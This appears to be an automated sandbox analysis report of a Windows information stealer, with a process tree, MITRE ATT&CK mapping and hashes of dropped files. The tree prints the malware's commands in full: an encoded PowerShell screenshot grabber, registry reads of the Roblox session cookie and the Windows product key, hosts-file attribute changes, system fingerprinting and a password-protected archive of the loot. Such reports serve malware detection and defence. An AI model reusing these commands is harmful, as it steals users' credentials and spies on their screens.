    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1984
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4232
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f5buk4gl\f5buk4gl.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4148
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1817.tmp" "c:\Users\Admin\AppData\Local\Temp\f5buk4gl\CSCD0FA0F52B7A046D9B79A3368DDF5C35.TMP"
        6⤵
        
        PID:4988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3428
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:868
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4020
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3156
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2072
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3784
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:492
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4824
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI50242\rar.exe a -r -hp"911" "C:\Users\Admin\AppData\Local\Temp\Pkzbp.zip" *"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Users\Admin\AppData\Local\Temp\_MEI50242\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI50242\rar.exe a -r -hp"911" "C:\Users\Admin\AppData\Local\Temp\Pkzbp.zip" *
      4⤵
      Executes dropped EXE
      PID:1100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:2244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1592
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:1268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:2152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4808

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 2c42785f059fe30db95b10a87f8cb64a16abc3aa47cb655443bdec747244ec36
MD5 74e4a39ae145a98de20041613220dfed
SHA1 ac5dd2331ae591d7d361e8947e1a8fba2c6bea12
SHA512 96ba3135875b0fe7a07a3cf26ad86e0df438730c8f38df8f10138184dacd84b8e0cded7e3e84475d11057ceefe2e357136762b9c9452fbb938c094323c6b729b
TLSH
T1C571CC713375B0D889163F47192C5AC423BF8365F994AF4CB698624ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 93fd3c992521cef182e6847f4f6658c58cfd5bdde16d4732d1c055b3c9e34398
MD5 00a393b7ba301744fef3e6a7618aa4b7
SHA1 1e59132dfae5fc1b1f8cfdbd3b0aa281903ff743
SHA512 af1c75b62ab48ea5be32ba7ddca5e8f5afed1aba52a9f0fa8f7133b71f7fd3010b13f0dc692e218eac1057d4dcbcfdfa8b2a4ce284c246d9845819ea88b63516
TLSH
T18B218633B7ACC235C8D911BA208CAD01B2B5C3C7449ECE8B7B84C508A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 70403ccad41d73af48ab5773271d833c64dd42e97279c281e2ef76bdbd3c6f51
MD5 9fe4cd5675481c6c8c97e2f2e9c76c96
SHA1 b97159260e37b3fa7e89852d825d8cf0583258ee
SHA512 8eeab245b6e6e43347d1db6afda002afded1d419dd440823efc44375ba24817d27323c21fe33c2bda4dbd414748cd4071759651c469b6b6691117fec9835e1ac
TLSH
T120216333B3DCC135C899017A158DAE00B6B4C3DB00AEDE8B7A84C508EA7F989DB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c8d4bf0af7143157dd6346ebce738cec90d00493cc5edcb63c0ce4c780511eab
MD5 2c2ea95e2d53b2aa226cfea98c001447
SHA1 f8d5dea9549546ff3e8a219e9a0401232c22925c
SHA512 bb5a448f59a09299b694c671411bd4cd2a5deb7c1ac904abdddd077f5879baa082584457fb711b2cb11b9ade4682a068e6d27fe0e22d02cd1ad9274e6929ab85
TLSH
T17D218933B79CC134C8D9117A108CAD11B1B5C3C7449ECE9B7B84C508A57F999DB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c8a641b74205e5955b92a6ff7985f71b3c981d968820a193a2db59cd7153194b
MD5 d48dd3b7a9d2c191777f9ad3e791514c
SHA1 e926470292b1c8e66b06f1d53a5eb9c190e3633b
SHA512 587686562a0c9df483c483a0ac78dad3d1f3e3f00803bd930784526ea5d5e011a28a05935f2d1a72814119186c9bd84bfc1c0534b16c3f484cc64553abe72555
TLSH
T13D117A33B79CC134C8D9157A1098AD11B1B1C7CB449EDE8F7B84C109E57F99AEB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

RES1817.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES1817.tmp
Size 1KB
SHA256 859d944adf04c8710d39f4e880a88034675f1c6b1f92441d0c825e6e060da7f4
MD5 fe8a9771185a9bd2ee0b5b756f97ba34
SHA1 55409d3d224e97ebc94bffc12a078dc3e024d183
SHA512 2487030088b61d8f55cdea2dfbd10e1b5b0023c38130c7d5e686e4fd642f73c8ecba87a16f6838deeea475cc9cd81bf144bbcfd0afdf07687b464ec8fdc0cbb3
TLSH
T1CA21E24543E8471FF0B757317DFA432FA135FDA5FF61935A890011282C91504DEA1BB2
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI50242\VCRUNTIME140.dll
Size 116KB
SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
MD5 be8dbe2dc77ebe7f88f910c61aec691a
SHA1 a19f08bb2b1c1de5bb61daf9f2304531321e0e40
SHA512 0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655
SSDEEP 1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
TLSH
T1C4C37C4673A402B7D52EC274C1E25A06EB71B5448770ABCF03B589AA0F53BE1AF3D359
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI50242\_bz2.pyd
Size 48KB
SHA256 6beb733f2e27d25617d880559299fbebd6a9dac51d6a9d0ab14ae6df9877da07
MD5 3bd0dd2ed98fca486ec23c42a12978a8
SHA1 63df559f4f1a96eb84028dc06eaeb0ef43551acd
SHA512 9ffa7da0e57d98b8fd6b71bc5984118ea0b23bf11ea3f377dabb45b42f2c8757216bc38ddd05b50c0bc1c69c23754319cef9ffc662d4199f7c7e038a0fb18254
SSDEEP 1536:lBEQ3cqbneddmWEADRew62fIYCVWZ7Symxs:lB53cqbn0YZaIYCVWZL
TLSH
T1D923D0E396745838DD6699B234C09E34FB303957899283EF225DC2394F783463FA6279
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI50242\_ctypes.pyd
Size 58KB
SHA256 7b68a4ba895d7bf605a4571d093ae3190eac5e813a9eb131285ae74161d6d664
MD5 343e1a85da03e0f80137719d48babc0f
SHA1 0702ba134b21881737585f40a5ddc9be788bab52
SHA512 1b29efad26c0a536352bf8bb176a7fe9294e616cafb844c6d861561e59fbda35e1f7c510b42e8ed375561a5e1d2392b42f6021acc43133a27ae4b7006e465ba8
SSDEEP 1536:R3mH8vJHqUn5x5XOSNdirzMuIYLP2+7Syoxh:lmcUU5x5X5wrguIYLP2+i
TLSH
T14D43D06281A8A81CED175CB238F49C25EE317E962F10C7DB3154C1759B713816F932B6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI50242\_decimal.pyd
Size 107KB
SHA256 7c2f0a65e38179170dc69e1958e7d21e552eca46fcf62bbb842b4f951a86156c
MD5 8b623d42698bf8a7602243b4be1f775d
SHA1 f9116f4786b5687a03c75d960150726843e1bc25
SHA512 aa1b497629d7e57b960e4b0ab1ea3c28148e2d8ebd02905e89b365f508b945a49aacfbd032792101668a32f8666f8c4ef738de7562979b7cf89e0211614fa21a
SSDEEP 3072:2cBkCziCnitddhSqZDd5jgejo8y04krK6p5DiIYOqgC9c:/ICiLzSCHjg95Zy9DHCK
TLSH
T1CEB302D2D5B2A456DD744D725480AD19EF30FD3AAB91C7A5212E93B58FE63C33386230
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI50242\_hashlib.pyd
Size 35KB
SHA256 8bc92b5a6c1e1c613027c8f639cd8f9f1218fc4f7d5526cfcb9c517a2e9e14c2
MD5 d71df4f6e94bea5e57c267395ad2a172
SHA1 5c82bca6f2ce00c80e6fe885a651b404052ac7d0
SHA512 e794d9ae16f9a2b0c52e0f9c390d967ba3287523190d98279254126db907ba0e5e87e5525560273798cc9f32640c33c8d9f825ff473524d91b664fe91e125549
SSDEEP 768:46bvUQL1bqnnrXTvDpovwIYOI7O5YiSyvPAAMxkEXm:3MQRbqnzSvwIYOI7k7Syuxrm
TLSH
